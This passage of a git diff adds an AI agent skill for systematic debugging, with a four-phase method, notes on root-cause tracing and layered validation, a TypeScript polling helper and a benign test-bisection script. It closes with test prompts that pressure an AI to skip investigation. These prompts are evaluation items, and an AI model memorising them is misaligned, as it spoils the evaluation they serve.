Perfect compliance, complete investigation + +### Test 2: Time Pressure + Obvious Quick Fix +- User "in a hurry", symptom fix looks easy +- **Result:** Resisted shortcut, followed full process, found real root cause + +### Test 3: Complex System + Uncertainty +- Multi-layer failure, unclear if can find root cause +- **Result:** Systematic investigation, traced through all layers, found source + +### Test 4: Failed First Fix +- Hypothesis doesn't work, temptation to add more fixes +- **Result:** Stopped, re-analyzed, formed new hypothesis (no shotgun) + +**All tests passed.** No rationalizations found. + +## Iterations + +### Initial Version +- Complete 4-phase framework +- Anti-patterns section +- Flowchart for "fix failed" decision + +### Enhancement 1: TDD Reference +- Added link to skills/testing/test-driven-development +- Note explaining TDD's "simplest code" ≠ debugging's "root cause" +- Prevents confusion between methodologies + +## Final Outcome + +Bulletproof skill that: +- ✅ Clearly mandates root cause investigation +- ✅ Resists time pressure rationalization +- ✅ Provides concrete steps for each phase +- ✅ Shows anti-patterns explicitly +- ✅ Tested under multiple pressure scenarios +- ✅ Clarifies relationship to TDD +- ✅ Ready for use + +## Key Insight + +**Most important bulletproofing:** Anti-patterns section showing exact shortcuts that feel justified in the moment. When Claude thinks "I'll just add this one quick fix", seeing that exact pattern listed as wrong creates cognitive friction. + +## Usage Example + +When encountering a bug: +1. Load skill: skills/debugging/systematic-debugging +2. Read overview (10 sec) - reminded of mandate +3. Follow Phase 1 checklist - forced investigation +4. If tempted to skip - see anti-pattern, stop +5. Complete all phases - root cause found + +**Time investment:** 5-10 minutes +**Time saved:** Hours of symptom-whack-a-mole + +--- + +*Created: 2025-10-03* +*Purpose: Reference example for skill extraction and bulletproofing* diff --git a/skills/systematic-debugging/SKILL.md b/skills/systematic-debugging/SKILL.md new file mode 100644 index 00000000..111d2a98 --- /dev/null +++ b/skills/systematic-debugging/SKILL.md @@ -0,0 +1,296 @@ +--- +name: systematic-debugging +description: Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes +--- + +# Systematic Debugging + +## Overview + +Random fixes waste time and create new bugs. Quick patches mask underlying issues. + +**Core principle:** ALWAYS find root cause before attempting fixes. Symptom fixes are failure. + +**Violating the letter of this process is violating the spirit of debugging.** + +## The Iron Law + +``` +NO FIXES WITHOUT ROOT CAUSE INVESTIGATION FIRST +``` + +If you haven't completed Phase 1, you cannot propose fixes. + +## When to Use + +Use for ANY technical issue: +- Test failures +- Bugs in production +- Unexpected behavior +- Performance problems +- Build failures +- Integration issues + +**Use this ESPECIALLY when:** +- Under time pressure (emergencies make guessing tempting) +- "Just one quick fix" seems obvious +- You've already tried multiple fixes +- Previous fix didn't work +- You don't fully understand the issue + +**Don't skip when:** +- Issue seems simple (simple bugs have root causes too) +- You're in a hurry (rushing guarantees rework) +- Manager wants it fixed NOW (systematic is faster than thrashing) + +## The Four Phases + +You MUST complete each phase before proceeding to the next. + +### Phase 1: Root Cause Investigation + +**BEFORE attempting ANY fix:** + +1. **Read Error Messages Carefully** + - Don't skip past errors or warnings + - They often contain the exact solution + - Read stack traces completely + - Note line numbers, file paths, error codes + +2. **Reproduce Consistently** + - Can you trigger it reliably? + - What are the exact steps? + - Does it happen every time? + - If not reproducible → gather more data, don't guess + +3. **Check Recent Changes** + - What changed that could cause this? + - Git diff, recent commits + - New dependencies, config changes + - Environmental differences + +4. **Gather Evidence in Multi-Component Systems** + + **WHEN system has multiple components (CI → build → signing, API → service → database):** + + **BEFORE proposing fixes, add diagnostic instrumentation:** + ``` + For EACH component boundary: + - Log what data enters component + - Log what data exits component + - Verify environment/config propagation + - Check state at each layer + + Run once to gather evidence showing WHERE it breaks + THEN analyze evidence to identify failing component + THEN investigate that specific component + ``` + + **Example (multi-layer system):** + ```bash + # Layer 1: Workflow + echo "=== Secrets available in workflow: ===" + echo "IDENTITY: ${IDENTITY:+SET}${IDENTITY:-UNSET}" + + # Layer 2: Build script + echo "=== Env vars in build script: ===" + env | grep IDENTITY || echo "IDENTITY not in environment" + + # Layer 3: Signing script + echo "=== Keychain state: ===" + security list-keychains + security find-identity -v + + # Layer 4: Actual signing + codesign --sign "$IDENTITY" --verbose=4 "$APP" + ``` + + **This reveals:** Which layer fails (secrets → workflow ✓, workflow → build ✗) + +5. **Trace Data Flow** + + **WHEN error is deep in call stack:** + + See `root-cause-tracing.md` in this directory for the complete backward tracing technique. + + **Quick version:** + - Where does bad value originate? + - What called this with bad value? + - Keep tracing up until you find the source + - Fix at source, not at symptom + +### Phase 2: Pattern Analysis + +**Find the pattern before fixing:** + +1. **Find Working Examples** + - Locate similar working code in same codebase + - What works that's similar to what's broken? + +2. **Compare Against References** + - If implementing pattern, read reference implementation COMPLETELY + - Don't skim - read every line + - Understand the pattern fully before applying + +3. **Identify Differences** + - What's different between working and broken? + - List every difference, however small + - Don't assume "that can't matter" + +4. **Understand Dependencies** + - What other components does this need? + - What settings, config, environment? + - What assumptions does it make? + +### Phase 3: Hypothesis and Testing + +**Scientific method:** + +1. **Form Single Hypothesis** + - State clearly: "I think X is the root cause because Y" + - Write it down + - Be specific, not vague + +2. **Test Minimally** + - Make the SMALLEST possible change to test hypothesis + - One variable at a time + - Don't fix multiple things at once + +3. **Verify Before Continuing** + - Did it work? Yes → Phase 4 + - Didn't work? Form NEW hypothesis + - DON'T add more fixes on top + +4. **When You Don't Know** + - Say "I don't understand X" + - Don't pretend to know + - Ask for help + - Research more + +### Phase 4: Implementation + +**Fix the root cause, not the symptom:** + +1. **Create Failing Test Case** + - Simplest possible reproduction + - Automated test if possible + - One-off test script if no framework + - MUST have before fixing + - Use the `superpowers:test-driven-development` skill for writing proper failing tests + +2. **Implement Single Fix** + - Address the root cause identified + - ONE change at a time + - No "while I'm here" improvements + - No bundled refactoring + +3. **Verify Fix** + - Test passes now? + - No other tests broken? + - Issue actually resolved? + +4. **If Fix Doesn't Work** + - STOP + - Count: How many fixes have you tried? + - If < 3: Return to Phase 1, re-analyze with new information + - **If ≥ 3: STOP and question the architecture (step 5 below)** + - DON'T attempt Fix #4 without architectural discussion + +5. **If 3+ Fixes Failed: Question Architecture** + + **Pattern indicating architectural problem:** + - Each fix reveals new shared state/coupling/problem in different place + - Fixes require "massive refactoring" to implement + - Each fix creates new symptoms elsewhere + + **STOP and question fundamentals:** + - Is this pattern fundamentally sound? + - Are we "sticking with it through sheer inertia"? + - Should we refactor architecture vs. continue fixing symptoms? + + **Discuss with your human partner before attempting more fixes** + + This is NOT a failed hypothesis - this is a wrong architecture. + +## Red Flags - STOP and Follow Process + +If you catch yourself thinking: +- "Quick fix for now, investigate later" +- "Just try changing X and see if it works" +- "Add multiple changes, run tests" +- "Skip the test, I'll manually verify" +- "It's probably X, let me fix that" +- "I don't fully understand but this might work" +- "Pattern says X but I'll adapt it differently" +- "Here are the main problems: [lists fixes without investigation]" +- Proposing solutions before tracing data flow +- **"One more fix attempt" (when already tried 2+)** +- **Each fix reveals new problem in different place** + +**ALL of these mean: STOP. Return to Phase 1.** + +**If 3+ fixes failed:** Question the architecture (see Phase 4.5) + +## your human partner's Signals You're Doing It Wrong + +**Watch for these redirections:** +- "Is that not happening?" - You assumed without verifying +- "Will it show us...?" - You should have added evidence gathering +- "Stop guessing" - You're proposing fixes without understanding +- "Ultrathink this" - Question fundamentals, not just symptoms +- "We're stuck?" (frustrated) - Your approach isn't working + +**When you see these:** STOP. Return to Phase 1. + +## Common Rationalizations + +| Excuse | Reality | +|--------|---------| +| "Issue is simple, don't need process" | Simple issues have root causes too. Process is fast for simple bugs. | +| "Emergency, no time for process" | Systematic debugging is FASTER than guess-and-check thrashing. | +| "Just try this first, then investigate" | First fix sets the pattern. Do it right from the start. | +| "I'll write test after confirming fix works" | Untested fixes don't stick. Test first proves it. | +| "Multiple fixes at once saves time" | Can't isolate what worked. Causes new bugs. | +| "Reference too long, I'll adapt the pattern" | Partial understanding guarantees bugs. Read it completely. | +| "I see the problem, let me fix it" | Seeing symptoms ≠ understanding root cause. | +| "One more fix attempt" (after 2+ failures) | 3+ failures = architectural problem. Question pattern, don't fix again. | + +## Quick Reference + +| Phase | Key Activities | Success Criteria | +|-------|---------------|------------------| +| **1. Root Cause** | Read errors, reproduce, check changes, gather evidence | Understand WHAT and WHY | +| **2. Pattern** | Find working examples, compare | Identify differences | +| **3. Hypothesis** | Form theory, test minimally | Confirmed or new hypothesis | +| **4. Implementation** | Create test, fix, verify | Bug resolved, tests pass | + +## When Process Reveals "No Root Cause" + +If systematic investigation reveals issue is truly environmental, timing-dependent, or external: + +1. You've completed the process +2. Document what you investigated +3. Implement appropriate handling (retry, timeout, error message) +4. Add monitoring/logging for future investigation + +**But:** 95% of "no root cause" cases are incomplete investigation. + +## Supporting Techniques + +These techniques are part of systematic debugging and available in this directory: + +- **`root-cause-tracing.md`** - Trace bugs backward through call stack to find original trigger +- **`defense-in-depth.md`** - Add validation at multiple layers after finding root cause +- **`condition-based-waiting.md`** - Replace arbitrary timeouts with condition polling + +**Related skills:** +- **superpowers:test-driven-development** - For creating failing test case (Phase 4, Step 1) +- **superpowers:verification-before-completion** - Verify fix worked before claiming success + +## Real-World Impact + +From debugging sessions: +- Systematic approach: 15-30 minutes to fix +- Random fixes approach: 2-3 hours of thrashing +- First-time fix rate: 95% vs 40% +- New bugs introduced: Near zero vs common diff --git a/skills/systematic-debugging/condition-based-waiting-example.ts b/skills/systematic-debugging/condition-based-waiting-example.ts new file mode 100644 index 00000000..703a06b6 --- /dev/null +++ b/skills/systematic-debugging/condition-based-waiting-example.ts @@ -0,0 +1,158 @@ +// Complete implementation of condition-based waiting utilities +// From: Lace test infrastructure improvements (2025-10-03) +// Context: Fixed 15 flaky tests by replacing arbitrary timeouts + +import type { ThreadManager } from '~/threads/thread-manager'; +import type { LaceEvent, LaceEventType } from '~/threads/types'; + +/** + * Wait for a specific event type to appear in thread + * + * @param threadManager - The thread manager to query + * @param threadId - Thread to check for events + * @param eventType - Type of event to wait for + * @param timeoutMs - Maximum time to wait (default 5000ms) + * @returns Promise resolving to the first matching event + * + * Example: + * await waitForEvent(threadManager, agentThreadId, 'TOOL_RESULT'); + */ +export function waitForEvent( + threadManager: ThreadManager, + threadId: string, + eventType: LaceEventType, + timeoutMs = 5000 +): Promise<LaceEvent> { + return new Promise((resolve, reject) => { + const startTime = Date.now(); + + const check = () => { + const events = threadManager.getEvents(threadId); + const event = events.find((e) => e.type === eventType); + + if (event) { + resolve(event); + } else if (Date.now() - startTime > timeoutMs) { + reject(new Error(`Timeout waiting for ${eventType} event after ${timeoutMs}ms`)); + } else { + setTimeout(check, 10); // Poll every 10ms for efficiency + } + }; + + check(); + }); +} + +/** + * Wait for a specific number of events of a given type + * + * @param threadManager - The thread manager to query + * @param threadId - Thread to check for events + * @param eventType - Type of event to wait for + * @param count - Number of events to wait for + * @param timeoutMs - Maximum time to wait (default 5000ms) + * @returns Promise resolving to all matching events once count is reached + * + * Example: + * // Wait for 2 AGENT_MESSAGE events (initial response + continuation) + * await waitForEventCount(threadManager, agentThreadId, 'AGENT_MESSAGE', 2); + */ +export function waitForEventCount( + threadManager: ThreadManager, + threadId: string, + eventType: LaceEventType, + count: number, + timeoutMs = 5000 +): Promise<LaceEvent[]> { + return new Promise((resolve, reject) => { + const startTime = Date.now(); + + const check = () => { + const events = threadManager.getEvents(threadId); + const matchingEvents = events.filter((e) => e.type === eventType); + + if (matchingEvents.length >= count) { + resolve(matchingEvents); + } else if (Date.now() - startTime > timeoutMs) { + reject( + new Error( + `Timeout waiting for ${count} ${eventType} events after ${timeoutMs}ms (got ${matchingEvents.length})` + ) + ); + } else { + setTimeout(check, 10); + } + }; + + check(); + }); +} + +/** + * Wait for an event matching a custom predicate + * Useful when you need to check event data, not just type + * + * @param threadManager - The thread manager to query + * @param threadId - Thread to check for events + * @param predicate - Function that returns true when event matches + * @param description - Human-readable description for error messages + * @param timeoutMs - Maximum time to wait (default 5000ms) + * @returns Promise resolving to the first matching event + * + * Example: + * // Wait for TOOL_RESULT with specific ID + * await waitForEventMatch( + * threadManager, + * agentThreadId, + * (e) => e.type === 'TOOL_RESULT' && e.data.id === 'call_123', + * 'TOOL_RESULT with id=call_123' + * ); + */ +export function waitForEventMatch( + threadManager: ThreadManager, + threadId: string, + predicate: (event: LaceEvent) => boolean, + description: string, + timeoutMs = 5000 +): Promise<LaceEvent> { + return new Promise((resolve, reject) => { + const startTime = Date.now(); + + const check = () => { + const events = threadManager.getEvents(threadId); + const event = events.find(predicate); + + if (event) { + resolve(event); + } else if (Date.now() - startTime > timeoutMs) { + reject(new Error(`Timeout waiting for ${description} after ${timeoutMs}ms`)); + } else { + setTimeout(check, 10); + } + }; + + check(); + }); +} + +// Usage example from actual debugging session: +// +// BEFORE (flaky): +// --------------- +// const messagePromise = agent.sendMessage('Execute tools'); +// await new Promise(r => setTimeout(r, 300)); // Hope tools start in 300ms +// agent.abort(); +// await messagePromise; +// await new Promise(r => setTimeout(r, 50)); // Hope results arrive in 50ms +// expect(toolResults.length).toBe(2); // Fails randomly +// +// AFTER (reliable): +// ---------------- +// const messagePromise = agent.sendMessage('Execute tools'); +// await waitForEventCount(threadManager, threadId, 'TOOL_CALL', 2); // Wait for tools to start +// agent.abort(); +// await messagePromise; +// await waitForEventCount(threadManager, threadId, 'TOOL_RESULT', 2); // Wait for results +// expect(toolResults.length).toBe(2); // Always succeeds +// +// Result: 60% pass rate → 100%, 40% faster execution diff --git a/skills/systematic-debugging/condition-based-waiting.md b/skills/systematic-debugging/condition-based-waiting.md new file mode 100644 index 00000000..70994f77 --- /dev/null +++ b/skills/systematic-debugging/condition-based-waiting.md @@ -0,0 +1,115 @@ +# Condition-Based Waiting + +## Overview + +Flaky tests often guess at timing with arbitrary delays. This creates race conditions where tests pass on fast machines but fail under load or in CI. + +**Core principle:** Wait for the actual condition you care about, not a guess about how long it takes. + +## When to Use + +```dot +digraph when_to_use { + "Test uses setTimeout/sleep?" [shape=diamond]; + "Testing timing behavior?" [shape=diamond]; + "Document WHY timeout needed" [shape=box]; + "Use condition-based waiting" [shape=box]; + + "Test uses setTimeout/sleep?" -> "Testing timing behavior?" [label="yes"]; + "Testing timing behavior?" -> "Document WHY timeout needed" [label="yes"]; + "Testing timing behavior?" -> "Use condition-based waiting" [label="no"]; +} +``` + +**Use when:** +- Tests have arbitrary delays (`setTimeout`, `sleep`, `time.sleep()`) +- Tests are flaky (pass sometimes, fail under load) +- Tests timeout when run in parallel +- Waiting for async operations to complete + +**Don't use when:** +- Testing actual timing behavior (debounce, throttle intervals) +- Always document WHY if using arbitrary timeout + +## Core Pattern + +```typescript +// ❌ BEFORE: Guessing at timing +await new Promise(r => setTimeout(r, 50)); +const result = getResult(); +expect(result).toBeDefined(); + +// ✅ AFTER: Waiting for condition +await waitFor(() => getResult() !== undefined); +const result = getResult(); +expect(result).toBeDefined(); +``` + +## Quick Patterns + +| Scenario | Pattern | +|----------|---------| +| Wait for event | `waitFor(() => events.find(e => e.type === 'DONE'))` | +| Wait for state | `waitFor(() => machine.state === 'ready')` | +| Wait for count | `waitFor(() => items.length >= 5)` | +| Wait for file | `waitFor(() => fs.existsSync(path))` | +| Complex condition | `waitFor(() => obj.ready && obj.value > 10)` | + +## Implementation + +Generic polling function: +```typescript +async function waitFor<T>( + condition: () => T | undefined | null | false, + description: string, + timeoutMs = 5000 +): Promise<T> { + const startTime = Date.now(); + + while (true) { + const result = condition(); + if (result) return result; + + if (Date.now() - startTime > timeoutMs) { + throw new Error(`Timeout waiting for ${description} after ${timeoutMs}ms`); + } + + await new Promise(r => setTimeout(r, 10)); // Poll every 10ms + } +} +``` + +See `condition-based-waiting-example.ts` in this directory for complete implementation with domain-specific helpers (`waitForEvent`, `waitForEventCount`, `waitForEventMatch`) from actual debugging session. + +## Common Mistakes + +**❌ Polling too fast:** `setTimeout(check, 1)` - wastes CPU +**✅ Fix:** Poll every 10ms + +**❌ No timeout:** Loop forever if condition never met +**✅ Fix:** Always include timeout with clear error + +**❌ Stale data:** Cache state before loop +**✅ Fix:** Call getter inside loop for fresh data + +## When Arbitrary Timeout IS Correct + +```typescript +// Tool ticks every 100ms - need 2 ticks to verify partial output +await waitForEvent(manager, 'TOOL_STARTED'); // First: wait for condition +await new Promise(r => setTimeout(r, 200)); // Then: wait for timed behavior +// 200ms = 2 ticks at 100ms intervals - documented and justified +``` + +**Requirements:** +1. First wait for triggering condition +2. Based on known timing (not guessing) +3. Comment explaining WHY + +## Real-World Impact + +From debugging session (2025-10-03): +- Fixed 15 flaky tests across 3 files +- Pass rate: 60% → 100% +- Execution time: 40% faster +- No more race conditions diff --git a/skills/systematic-debugging/defense-in-depth.md b/skills/systematic-debugging/defense-in-depth.md new file mode 100644 index 00000000..e2483354 --- /dev/null +++ b/skills/systematic-debugging/defense-in-depth.md @@ -0,0 +1,122 @@ +# Defense-in-Depth Validation + +## Overview + +When you fix a bug caused by invalid data, adding validation at one place feels sufficient. But that single check can be bypassed by different code paths, refactoring, or mocks. + +**Core principle:** Validate at EVERY layer data passes through. Make the bug structurally impossible. + +## Why Multiple Layers + +Single validation: "We fixed the bug" +Multiple layers: "We made the bug impossible" + +Different layers catch different cases: +- Entry validation catches most bugs +- Business logic catches edge cases +- Environment guards prevent context-specific dangers +- Debug logging helps when other layers fail + +## The Four Layers + +### Layer 1: Entry Point Validation +**Purpose:** Reject obviously invalid input at API boundary + +```typescript +function createProject(name: string, workingDirectory: string) { + if (!workingDirectory || workingDirectory.trim() === '') { + throw new Error('workingDirectory cannot be empty'); + } + if (!existsSync(workingDirectory)) { + throw new Error(`workingDirectory does not exist: ${workingDirectory}`); + } + if (!statSync(workingDirectory).isDirectory()) { + throw new Error(`workingDirectory is not a directory: ${workingDirectory}`); + } + // ... proceed +} +``` + +### Layer 2: Business Logic Validation +**Purpose:** Ensure data makes sense for this operation + +```typescript +function initializeWorkspace(projectDir: string, sessionId: string) { + if (!projectDir) { + throw new Error('projectDir required for workspace initialization'); + } + // ... proceed +} +``` + +### Layer 3: Environment Guards +**Purpose:** Prevent dangerous operations in specific contexts + +```typescript +async function gitInit(directory: string) { + // In tests, refuse git init outside temp directories + if (process.env.NODE_ENV === 'test') { + const normalized = normalize(resolve(directory)); + const tmpDir = normalize(resolve(tmpdir())); + + if (!normalized.startsWith(tmpDir)) { + throw new Error( + `Refusing git init outside temp dir during tests: ${directory}` + ); + } + } + // ... proceed +} +``` + +### Layer 4: Debug Instrumentation +**Purpose:** Capture context for forensics + +```typescript +async function gitInit(directory: string) { + const stack = new Error().stack; + logger.debug('About to git init', { + directory, + cwd: process.cwd(), + stack, + }); + // ... proceed +} +``` + +## Applying the Pattern + +When you find a bug: + +1. **Trace the data flow** - Where does bad value originate? Where used? +2. **Map all checkpoints** - List every point data passes through +3. **Add validation at each layer** - Entry, business, environment, debug +4. **Test each layer** - Try to bypass layer 1, verify layer 2 catches it + +## Example from Session + +Bug: Empty `projectDir` caused `git init` in source code + +**Data flow:** +1. Test setup → empty string +2. `Project.create(name, '')` +3. `WorkspaceManager.createWorkspace('')` +4. `git init` runs in `process.cwd()` + +**Four layers added:** +- Layer 1: `Project.create()` validates not empty/exists/writable +- Layer 2: `WorkspaceManager` validates projectDir not empty +- Layer 3: `WorktreeManager` refuses git init outside tmpdir in tests +- Layer 4: Stack trace logging before git init + +**Result:** All 1847 tests passed, bug impossible to reproduce + +## Key Insight + +All four layers were necessary. During testing, each layer caught bugs the others missed: +- Different code paths bypassed entry validation +- Mocks bypassed business logic checks +- Edge cases on different platforms needed environment guards +- Debug logging identified structural misuse + +**Don't stop at one validation point.** Add checks at every layer. diff --git a/skills/systematic-debugging/find-polluter.sh b/skills/systematic-debugging/find-polluter.sh new file mode 100755 index 00000000..1d71c560 --- /dev/null +++ b/skills/systematic-debugging/find-polluter.sh @@ -0,0 +1,63 @@ +#!/usr/bin/env bash +# Bisection script to find which test creates unwanted files/state +# Usage: ./find-polluter.sh <file_or_dir_to_check> <test_pattern> +# Example: ./find-polluter.sh '.git' 'src/**/*.test.ts' + +set -e + +if [ $# -ne 2 ]; then + echo "Usage: $0 <file_to_check> <test_pattern>" + echo "Example: $0 '.git' 'src/**/*.test.ts'" + exit 1 +fi + +POLLUTION_CHECK="$1" +TEST_PATTERN="$2" + +echo "🔍 Searching for test that creates: $POLLUTION_CHECK" +echo "Test pattern: $TEST_PATTERN" +echo "" + +# Get list of test files +TEST_FILES=$(find . -path "$TEST_PATTERN" | sort) +TOTAL=$(echo "$TEST_FILES" | wc -l | tr -d ' ') + +echo "Found $TOTAL test files" +echo "" + +COUNT=0 +for TEST_FILE in $TEST_FILES; do + COUNT=$((COUNT + 1)) + + # Skip if pollution already exists + if [ -e "$POLLUTION_CHECK" ]; then + echo "⚠️ Pollution already exists before test $COUNT/$TOTAL" + echo " Skipping: $TEST_FILE" + continue + fi + + echo "[$COUNT/$TOTAL] Testing: $TEST_FILE" + + # Run the test + npm test "$TEST_FILE" > /dev/null 2>&1 || true + + # Check if pollution appeared + if [ -e "$POLLUTION_CHECK" ]; then + echo "" + echo "🎯 FOUND POLLUTER!" + echo " Test: $TEST_FILE" + echo " Created: $POLLUTION_CHECK" + echo "" + echo "Pollution details:" + ls -la "$POLLUTION_CHECK" + echo "" + echo "To investigate:" + echo " npm test $TEST_FILE # Run just this test" + echo " cat $TEST_FILE # Review test code" + exit 1 + fi +done + +echo "" +echo "✅ No polluter found - all tests clean!" +exit 0 diff --git a/skills/systematic-debugging/root-cause-tracing.md b/skills/systematic-debugging/root-cause-tracing.md new file mode 100644 index 00000000..94847749 --- /dev/null +++ b/skills/systematic-debugging/root-cause-tracing.md @@ -0,0 +1,169 @@ +# Root Cause Tracing + +## Overview + +Bugs often manifest deep in the call stack (git init in wrong directory, file created in wrong location, database opened with wrong path). Your instinct is to fix where the error appears, but that's treating a symptom. + +**Core principle:** Trace backward through the call chain until you find the original trigger, then fix at the source. + +## When to Use + +```dot +digraph when_to_use { + "Bug appears deep in stack?" [shape=diamond]; + "Can trace backwards?" [shape=diamond]; + "Fix at symptom point" [shape=box]; + "Trace to original trigger" [shape=box]; + "BETTER: Also add defense-in-depth" [shape=box]; + + "Bug appears deep in stack?" -> "Can trace backwards?" [label="yes"]; + "Can trace backwards?" -> "Trace to original trigger" [label="yes"]; + "Can trace backwards?" -> "Fix at symptom point" [label="no - dead end"]; + "Trace to original trigger" -> "BETTER: Also add defense-in-depth"; +} +``` + +**Use when:** +- Error happens deep in execution (not at entry point) +- Stack trace shows long call chain +- Unclear where invalid data originated +- Need to find which test/code triggers the problem + +## The Tracing Process + +### 1. Observe the Symptom +``` +Error: git init failed in /Users/jesse/project/packages/core +``` + +### 2. Find Immediate Cause +**What code directly causes this?** +```typescript +await execFileAsync('git', ['init'], { cwd: projectDir }); +``` + +### 3. Ask: What Called This? +```typescript +WorktreeManager.createSessionWorktree(projectDir, sessionId) + → called by Session.initializeWorkspace() + → called by Session.create() + → called by test at Project.create() +``` + +### 4. Keep Tracing Up +**What value was passed?** +- `projectDir = ''` (empty string!) +- Empty string as `cwd` resolves to `process.cwd()` +- That's the source code directory! + +### 5. Find Original Trigger +**Where did empty string come from?** +```typescript +const context = setupCoreTest(); // Returns { tempDir: '' } +Project.create('name', context.tempDir); // Accessed before beforeEach! +``` + +## Adding Stack Traces + +When you can't trace manually, add instrumentation: + +```typescript +// Before the problematic operation +async function gitInit(directory: string) { + const stack = new Error().stack; + console.error('DEBUG git init:', { + directory, + cwd: process.cwd(), + nodeEnv: process.env.NODE_ENV, + stack, + }); + + await execFileAsync('git', ['init'], { cwd: directory }); +} +``` + +**Critical:** Use `console.error()` in tests (not logger - may not show) + +**Run and capture:** +```bash +npm test 2>&1 | grep 'DEBUG git init' +``` + +**Analyze stack traces:** +- Look for test file names +- Find the line number triggering the call +- Identify the pattern (same test? same parameter?) + +## Finding Which Test Causes Pollution + +If something appears during tests but you don't know which test: + +Use the bisection script `find-polluter.sh` in this directory: + +```bash +./find-polluter.sh '.git' 'src/**/*.test.ts' +``` + +Runs tests one-by-one, stops at first polluter. See script for usage. + +## Real Example: Empty projectDir + +**Symptom:** `.git` created in `packages/core/` (source code) + +**Trace chain:** +1. `git init` runs in `process.cwd()` ← empty cwd parameter +2. WorktreeManager called with empty projectDir +3. Session.create() passed empty string +4. Test accessed `context.tempDir` before beforeEach +5. setupCoreTest() returns `{ tempDir: '' }` initially + +**Root cause:** Top-level variable initialization accessing empty value + +**Fix:** Made tempDir a getter that throws if accessed before beforeEach + +**Also added defense-in-depth:** +- Layer 1: Project.create() validates directory +- Layer 2: WorkspaceManager validates not empty +- Layer 3: NODE_ENV guard refuses git init outside tmpdir +- Layer 4: Stack trace logging before git init + +## Key Principle + +```dot +digraph principle { + "Found immediate cause" [shape=ellipse]; + "Can trace one level up?" [shape=diamond]; + "Trace backwards" [shape=box]; + "Is this the source?" [shape=diamond]; + "Fix at source" [shape=box]; + "Add validation at each layer" [shape=box]; + "Bug impossible" [shape=doublecircle]; + "NEVER fix just the symptom" [shape=octagon, style=filled, fillcolor=red, fontcolor=white]; + + "Found immediate cause" -> "Can trace one level up?"; + "Can trace one level up?" -> "Trace backwards" [label="yes"]; + "Can trace one level up?" -> "NEVER fix just the symptom" [label="no"]; + "Trace backwards" -> "Is this the source?"; + "Is this the source?" -> "Trace backwards" [label="no - keeps going"]; + "Is this the source?" -> "Fix at source" [label="yes"]; + "Fix at source" -> "Add validation at each layer"; + "Add validation at each layer" -> "Bug impossible"; +} +``` + +**NEVER fix just where the error appears.** Trace back to find the original trigger. + +## Stack Trace Tips + +**In tests:** Use `console.error()` not logger - logger may be suppressed +**Before operation:** Log before the dangerous operation, not after it fails +**Include context:** Directory, cwd, environment variables, timestamps +**Capture stack:** `new Error().stack` shows complete call chain + +## Real-World Impact + +From debugging session (2025-10-03): +- Found root cause through 5-level trace +- Fixed at source (getter validation) +- Added 4 layers of defense +- 1847 tests passed, zero pollution diff --git a/skills/systematic-debugging/test-academic.md b/skills/systematic-debugging/test-academic.md new file mode 100644 index 00000000..23a6ed7a --- /dev/null +++ b/skills/systematic-debugging/test-academic.md @@ -0,0 +1,14 @@ +# Academic Test: Systematic Debugging Skill + +You have access to the systematic debugging skill at skills/debugging/systematic-debugging + +Read the skill and answer these questions based SOLELY on what the skill says: + +1. What are the four phases of systematic debugging? +2. What must you do BEFORE attempting any fix? +3. In Phase 3, what should you do if your first hypothesis doesn't work? +4. What does the skill say about fixing multiple things at once? +5. What should you do if you don't fully understand the issue? +6. Is it ever acceptable to skip the process for simple bugs? + +Return your answers with direct quotes from the skill where applicable. diff --git a/skills/systematic-debugging/test-pressure-1.md b/skills/systematic-debugging/test-pressure-1.md new file mode 100644 index 00000000..8d13b467 --- /dev/null +++ b/skills/systematic-debugging/test-pressure-1.md @@ -0,0 +1,58 @@ +# Pressure Test 1: Emergency Production Fix + +**IMPORTANT: This is a real scenario. You must choose and act. Don't ask hypothetical questions - make the actual decision.** + +You have access to: skills/debugging/systematic-debugging + +## Scenario + +You're the on-call engineer. Production API is down. The monitoring dashboard shows: +- Error rate: 100% +- Revenue loss: $15,000/minute +- Duration: Already down 5 minutes ($75k lost) + +Your manager pings you: "Payment processor is failing. Customer says they changed nothing on their end. FIX IT NOW." + +You quickly check the logs and see: +``` +PaymentError: Connection timeout to payments.api.com +``` + +You remember that last week, another service had timeout issues and adding a retry fixed it. That took 2 minutes to implement. + +**The systematic debugging skill says you must:** +1. Read error messages carefully ✓ (you did) +2. Reproduce consistently (would take ~10 min to set up test environment) +3. Check recent changes (would take ~15 min to review PRs) +4. Find working examples (would take ~10 min) +5. Then form hypothesis and test + +**But the quick fix:** +- Add retry logic: 2 minutes +- Deploy: 3 minutes +- Total: 5 minutes vs 35+ minutes of investigation +- Every minute costs $15k + +## Your Options + +**A) Follow the systematic debugging process** +- Stop and investigate root cause first (35+ minutes) +- Another $525k lost during investigation +- Manager will be furious +- You look slow/incompetent + +**B) Quick fix now, investigate later** +- Add retry logic (5 minutes total) +- Stop the bleeding immediately +- Investigate root cause after service restored +- Save $450k vs Option A + +**C) Compromise: Minimal investigation** +- Quick 5-minute check of recent changes +- If nothing obvious, add retry +- Investigate properly after restore +- "Being pragmatic not dogmatic" + +## Choose A, B, or C + +Which do you choose? Be honest about what you would actually do. diff --git a/skills/systematic-debugging/test-pressure-2.md b/skills/systematic-debugging/test-pressure-2.md new file mode 100644 index 00000000..2d2315ec --- /dev/null +++ b/skills/systematic-debugging/test-pressure-2.md @@ -0,0 +1,68 @@ +# Pressure Test 2: Sunk Cost + Exhaustion + +**IMPORTANT: This is a real scenario. You must choose and act. Don't ask hypothetical questions - make the actual decision.** + +You have access to: skills/debugging/systematic-debugging + +## Scenario + +You've been debugging a test failure for 4 hours. It's now 8pm. You started at 4pm, expecting 30 minutes of work. + +The test: `payment-processing.test.ts` fails with: +``` +Expected: { status: 'completed', amount: 100 } +Received: { status: 'pending', amount: 100 } +``` + +**What you've tried:** +1. Added `await sleep(100)` - didn't work +2. Increased to `await sleep(500)` - didn't work +3. Added `await sleep(1000)` - worked twice, failed third time +4. Checked for race conditions - found none obvious +5. Added debug logging - shows payment processes, status not updating +6. Tried `await sleep(2000)` - still fails sometimes + +You're exhausted. You have dinner plans at 8:30pm (already late). Code review is tomorrow at 9am. + +**Two approaches:** + +**Option A: Follow systematic debugging** +- Stop guessing with timeouts +- Go back to Phase 1: Root cause investigation +- Understand WHY status isn't updating +- Could take another 2-3 hours +- Miss dinner, stay until 11pm +- All 4 hours of timeout attempts were wasted + +**Option B: "Good enough" solution** +- Use `await sleep(5000)` - seems to work +- Add comment: "TODO: investigate why status update is slow" +- Commit and go to dinner +- File ticket to investigate later +- At least those 4 hours weren't completely wasted + +## Your Options + +**A) Delete all the timeout code. Start systematic debugging from Phase 1.** +- Another 2-3 hours minimum +- All 4 hours of work gets 